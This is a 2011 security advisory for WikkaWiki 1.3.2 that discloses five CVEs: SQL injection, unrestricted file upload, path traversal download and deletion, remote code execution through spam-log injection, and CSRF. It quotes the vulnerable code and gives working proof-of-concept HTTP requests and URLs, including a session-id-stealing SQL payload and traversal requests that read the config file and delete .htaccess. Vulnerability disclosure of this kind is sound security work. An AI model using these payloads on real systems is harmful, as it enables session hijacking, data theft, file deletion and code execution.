WikkaWiki 1.3.2 Code Execution / Shell Upload / SQL Injection

`----------------------------------------------------  
WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities  
----------------------------------------------------  
  
author............: Egidio Romano aka EgiX  
mail..............: n0b0d13s[at]gmail[dot]com  
software link.....: http://wikkawiki.org/  
  
  
+---------------------------------------------------+  
| SQL Injection in UPDATE statement (CVE-2011-4448) |  
+---------------------------------------------------+  
  
The vulnerable code is located in /actions/usersettings/usersettings.php  
  
140. default: // input is valid  
141. $this->Query("  
142. UPDATE ".$this->GetConfigValue('table_prefix')."users  
143. SET email = '".mysql_real_escape_string($email)."',  
144. doubleclickedit = '".mysql_real_escape_string($doubleclickedit)."',  
145. show_comments = '".mysql_real_escape_string($show_comments)."',  
146. default_comment_display = '".$default_comment_display."',  
147. revisioncount = ".$revisioncount.",  
148. changescount = ".$changescount.",  
149. theme = '".mysql_real_escape_string($usertheme)."'   
150. WHERE name = '".$user['name']."'  
151. LIMIT 1"  
152. );  
  
When handling 'update' action, 'default_comment_display' is the only parameter that isn't sanitized with  
mysql_real_escape_string(), this can be exploited to inject arbitrary SQL code. Because of this is a multiple  
lines query and latest version of MySQL doesn't allow to start comment with /* no followed by a */, sometimes  
It's impossible to alter the 'users' table content for e.g. changing the admin's password, but is still  
possible to inject a subquery to fetch for e.g. the session id of admin for a Session Hijacking attack.  
This is a proof of concept request:  
  
POST /wikka/UserSettings HTTP/1.1  
Host: localhost  
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6  
Content-Length: 140  
Content-Type: application/x-www-form-urlencoded  
Connection: keep-alive  
  
action=update&email=test%40test.com&default_comment_display=',email=(SELECT sessionid FROM wikka_sessions WHERE userid='WikiAdmin'),theme='  
  
If admin is currently logged in, attacker will see his session id in the email field of 'UserSettings' form.  
If admin doesn't explicitly logout (for e.g. close the browser before click on 'Logout' link) his session  
remains however stored into DB, so this attack could success also if admin isn't currently logged in.  
Successful exploitation no needs magic_quotes_gpc = off because of 'magicQuotesWorkaround' function.  
  
  
+------------------------------------------+  
| Unrestricted File Upload (CVE-2011-4449) |  
+------------------------------------------+  
  
The vulnerable code is located in /actions/files/files.php  
  
266. elseif (preg_match('/.+\.('.$allowed_extensions.')$/i', $_FILES['file']['name']))  
267. {  
268. $strippedname = str_replace('\'', '', $_FILES['file']['name']);  
269. $strippedname = rawurlencode($strippedname);  
270. $strippedname = stripslashes($strippedname);  
271. $destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname; #89  
272.   
273. if (!file_exists($destfile))  
274. {  
275. if (move_uploaded_file($_FILES['file']['tmp_name'], $destfile))  
276. {  
277. $notification_msg = T_("File was successfully uploaded.");  
278. }  
  
If 'INTRANET_MODE' is explicitly enabled or if an attacker conduct a successful Session Hijacking attack  
using the first vulnerability, It's possible to upload files that contains multiple extensions due to  
insufficient input sanitization at line 266. Now look at $allowed_extensions variable definition:  
  
'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'  
  
It contains some extensions (e.g. mm, vpp...) that are rare to see in a MIME type Apache configuration  
setting, and this could lead to execution of arbitrary PHP code. Proof of concept upload request:  
  
POST /wikka/test HTTP/1.1  
Host: localhost  
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3  
Content-Length: 251  
Content-Type: multipart/form-data; boundary=--------1503534127  
Connection: keep-alive  
  
----------1503534127  
Content-Disposition: form-data; name="file"; filename="test.php.mm"  
Content-Type: application/octet-stream  
  
<?php phpinfo(); ?>  
----------1503534127  
Content-Disposition: form-data; name="upload"  
  
Upload  
----------1503534127--  
  
Where 'test' is a page containing the {{files}} action.  
  
  
+---------------------------------------------------------------------+  
| Arbitrary File Download and Arbitrary File Deletion (CVE-2011-4450) |  
+---------------------------------------------------------------------+  
  
The vulnerable code is located in /handlers/files.xml/files.xml.php  
  
53. $file = $this->GetSafeVar('file', 'get');  
54. if ('.' == $file{0})  
55. {  
56. $this->Redirect($this->Href(), T_("Sorry, files of this type are not allowed."));  
57. }  
58. // do the action  
59. $action = $this->GetSafeVar('action', 'get');  
60. switch ($action) # #312  
61. {  
62. // @@@ shared download code  
63. case 'download':  
64. header('Accept-Ranges: bytes');  
65. $_GET['file'] = basename($file); # #312  
66. $path = $upload_path.DIRECTORY_SEPARATOR.$file; # #89, #312  
  
...  
  
101. $fp = fopen($path, 'rb');  
102. while (!feof($fp))  
103. {  
104. $data = fread($fp, 4096);  
105. echo $data;  
106. }  
107. fclose($fp);  
108. exit();  
109. case 'delete':  
110. if ($this->IsAdmin() && FALSE===empty($file) && T_("File deleted") == $_SESSION['redirectmessage'])  
111. {  
112. $delete_success = @unlink($upload_path.DIRECTORY_SEPARATOR.$file); # #89, #312  
  
The only check of the user supplied filename is done at line 54, if the filename start with a dot It's  
rejected otherwise It's accepted. But this isn't an efficiently countermeasure against Path Traversal  
attacks, infact an attacker could request an URL like this:  
  
http://localhost/wikka/test/files.xml?action=download&file=/../../wikka.config.php  
  
to download for e.g. the configuration file (note that 'test' is a page containing the {{files}} action,  
but attachments aren't required for download or delete arbitrary files). Similarly, if an attacker conduct  
a successful Session Hijacking attack using the first vulnerability, once he could send this POST request:  
  
POST /wikka/test HTTP/1.1  
Host: localhost  
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=2nobpqp3a1bsf3j1ccl0stj6l6  
Content-Length: 16  
Content-Type: application/x-www-form-urlencoded  
Connection: keep-alive  
  
file_to_delete=1  
  
to set $_SESSION['redirectmessage'] and after he could request an URL like this to delete arbitrary files:  
  
http://localhost/wikka/test/files.xml?action=delete&file=/../../.htaccess  
  
  
+---------------------------------------+  
| Remote Code Execution (CVE-2011-4451) |  
+---------------------------------------+  
  
The vulnerable code is located in logSpam() function defined into /libs/Wakka.class.php  
  
1315. function logSpam($type,$tag,$body,$reason,$urlcount,$user='',$time='')  
1316. {  
1317. // set path  
1318. $spamlogpath = (isset($this->config['spamlog_path'])) ? $this->config['spamlog_path'] : DEF_SPAMLOG_PATH; # @@@ make function  
1319. // gather data  
1320. if ($user == '')  
1321. {  
1322. $user = $this->GetUserName(); # defaults to REMOTE_HOST to domain for anonymous user  
1323. }  
1324. if ($time == '')  
1325. {  
1326. $time = date('Y-m-d H:i:s'); # current date/time  
1327. }  
1328. if (preg_match('/^mass delete/',$reason)) # @@@ i18n  
1329. {  
1330. $originip = '0.0.0.0'; # don't record deleter's IP address!  
1331. }  
1332. else  
1333. {  
1334. $originip = $_SERVER['REMOTE_ADDR'];  
1335. }  
1336. $ua = (isset($_SERVER['HTTP_USER_AGENT'])) ? '['.$_SERVER['HTTP_USER_AGENT'].']' : '[?]';  
1337. $body = trim($body);  
1338. $sig = SPAMLOG_SIG.' '.$type.' '.$time.' '.$tag.' - '.$originip.' - '.$user.' '.$ua.' - '.$reason.' - '.$urlcount."\n";  
1339. $content = $sig.$body."\n\n";  
1340.   
1341. // add data to log @@@ use appendFile  
1342. return $this->appendFile($spamlogpath,$content); # nr. of bytes written if successful, FALSE otherwise  
1343. }  
  
If 'spam_logging' option is enabled, an attacker could be able to inject arbitrary PHP code into 'spamlog_path'  
file (that by default is './spamlog.txt.php') through $_SERVER['HTTP_USER_AGENT'] variable. Proof of concept:  
  
POST /wikka/test/addcomment HTTP/1.1  
Host: localhost  
Cookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83  
User-Agent: <?php phpinfo(); ?>  
Content-Length: 27  
Content-Type: application/x-www-form-urlencoded  
Connection: keep-alive  
  
body=foo&submit=Add+Comment  
  
  
+--------------------------------------------+  
| Cross-Site Request Forgery (CVE-2011-4452) |  
+--------------------------------------------+  
  
CSRF attacks countermeasures aren't properly implemented, so an attacker could  
be able to create a malicious page containing an {{image}} action like this:  
  
{{image url="http://localhost/wikka/AdminUsers?user=TestUser&action=delete"}}  
  
When the admin will visit this page, the 'TestUser' account will be deleted.  
  
  
[-] Disclosure timeline:  
  
[07/10/2011] - Vulnerabilities discovered  
[09/10/2011] - Issues reported to http://wush.net/trac/wikka/ticket/1097  
[10/10/2011] - RCE and CSRF vulnerabilities discovered  
[11/10/2011] - RCE and CSRF vulnerabilities reported to http://wush.net/trac/wikka/ticket/1098  
[27/10/2011] - I've provided possible bug fixes to vendor  
[28/11/2011] - After seven weeks still no fix released  
[30/11/2011] - Public disclosure  
  
  
`